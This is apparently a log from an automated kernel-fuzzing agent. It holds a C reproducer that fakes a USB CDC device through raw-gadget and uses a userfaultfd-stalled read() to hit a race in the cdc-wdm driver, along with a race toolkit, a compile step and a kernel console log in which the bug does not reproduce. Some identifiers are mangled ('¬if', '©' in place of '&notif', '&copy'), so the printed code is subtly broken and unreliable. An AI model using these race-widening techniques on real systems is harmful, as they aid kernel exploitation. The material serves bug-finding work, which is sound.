.bMaxPacketSize0 = 64,
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
dev_desc.bcdUSB = htole16(0x0200);
dev_desc.idVendor = htole16(0x0525);
dev_desc.idProduct = htole16(0xa4a7);
dev_desc.bcdDevice = htole16(0x0100);
conf_desc.conf.wTotalLength = htole16(sizeof(conf_desc));
conf_desc.cdc_hdr.bcdCDC = htole16(0x0110);
conf_desc.ep_in.wMaxPacketSize = htole16(64);
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType == 0x80 && req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0x00 && req->bRequest == USB_REQ_SET_CONFIGURATION) {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
```]
|
| 140/5 |
2026/09/11 22:30 |
action |
compile-c-prog |
0m
Results: map[CompilerError: FormattedReproC:#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
dev_desc.bcdUSB = htole16(0x0200);
dev_desc.idVendor = htole16(0x0525);
dev_desc.idProduct = htole16(0xa4a7);
dev_desc.bcdDevice = htole16(0x0100);
conf_desc.conf.wTotalLength = htole16(sizeof(conf_desc));
conf_desc.cdc_hdr.bcdCDC = htole16(0x0110);
conf_desc.ep_in.wMaxPacketSize = htole16(64);
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType == 0x80 && req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0x00 && req->bRequest == USB_REQ_SET_CONFIGURATION) {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
]
|
| 141/5 |
2026/09/11 22:30 |
action |
If |
0m
Args:
|
| 142/3 |
2026/09/11 22:30 |
action |
run-c-repro |
7m
Results: map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:[ 61.482052][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 61.482121][ T33] audit: type=1400 audit(1789165898.269:201): avc: denied { transition } for pid=5828 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.483760][ T33] audit: type=1400 audit(1789165898.269:202): avc: denied { noatsecure } for pid=5828 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.483780][ T33] audit: type=1400 audit(1789165898.269:203): avc: denied { rlimitinh } for pid=5828 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.483794][ T33] audit: type=1400 audit(1789165898.269:204): avc: denied { siginh } for pid=5828 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 64.443882][ T33] audit: type=1400 audit(1789165901.229:205): avc: denied { write } for pid=5834 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.482433][ T33] audit: type=1400 audit(1789165901.269:206): avc: denied { write } for pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:21062' (ED25519) to the list of known hosts.
[ 64.907765][ T33] audit: type=1400 audit(1789165901.699:207): avc: denied { read write } for pid=5847 comm="syz-executor376" name="raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[+] Gadget initialized and running.
[ 64.908128][ T33] audit: type=1400 audit(1789165901.699:208): avc: denied { open } for pid=5847 comm="syz-executor376" path="/dev/raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.908388][ T33] audit: type=1400 audit(1789165901.699:209): avc: denied { ioctl } for pid=5847 comm="syz-executor376" path="/dev/raw-gadget" dev="devtmpfs" ino=824 ioctlcmd=0x5500 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 65.155911][ T5707] usb 1-1: new high-speed USB device number 2 using dummy_hcd
[ 65.281669][ T33] audit: type=1400 audit(1789165902.069:210): avc: denied { write } for pid=5852 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.457943][ T1382] ieee802154 phy0 wpan0: encryption failed: -22
[ 66.458006][ T1382] ieee802154 phy1 wpan1: encryption failed: -22
[ 67.004751][ T33] kauditd_printk_skb: 9 callbacks suppressed
[ 67.004817][ T33] audit: type=1400 audit(1789165903.789:220): avc: denied { write } for pid=5882 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.050346][ T33] audit: type=1400 audit(1789165903.839:221): avc: denied { write } for pid=5885 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.124625][ T33] audit: type=1400 audit(1789165903.909:222): avc: denied { write } for pid=5888 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.171582][ T33] audit: type=1400 audit(1789165903.959:223): avc: denied { write } for pid=5891 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 70.345385][ T5707] usb 1-1: device descriptor read/64, error -110
[ 70.585376][ T5707] usb 1-1: new high-speed USB device number 3 using dummy_hcd
[ 70.715378][ T5707] usb 1-1: device descriptor read/64, error -32
[ 70.825521][ T5707] usb usb1-port1: attempt power cycle
[ 71.105444][ T5707] raw-gadget.0 gadget.0: failed to queue resume event
[ 71.165367][ T5707] usb 1-1: new high-speed USB device number 4 using dummy_hcd
[ 71.185572][ C0] raw-gadget.0 gadget.0: ignoring, device is not running
[ 71.185712][ T5707] usb 1-1: device descriptor read/8, error -32
[ 71.295453][ T5707] raw-gadget.0 gadget.0: failed to queue suspend event
[ 71.295699][ T5707] raw-gadget.0 gadget.0: failed to queue reset event
[ 71.365464][ T5707] raw-gadget.0 gadget.0: failed to queue resume event
[ 71.425364][ T5707] usb 1-1: new high-speed USB device number 5 using dummy_hcd
[ 71.445552][ C0] raw-gadget.0 gadget.0: ignoring, device is not running
[ 71.445794][ T5707] usb 1-1: device descriptor read/8, error -32
[ 71.555409][ T5707] raw-gadget.0 gadget.0: failed to queue suspend event
[ 71.555723][ T5707] usb usb1-port1: unable to enumerate USB device
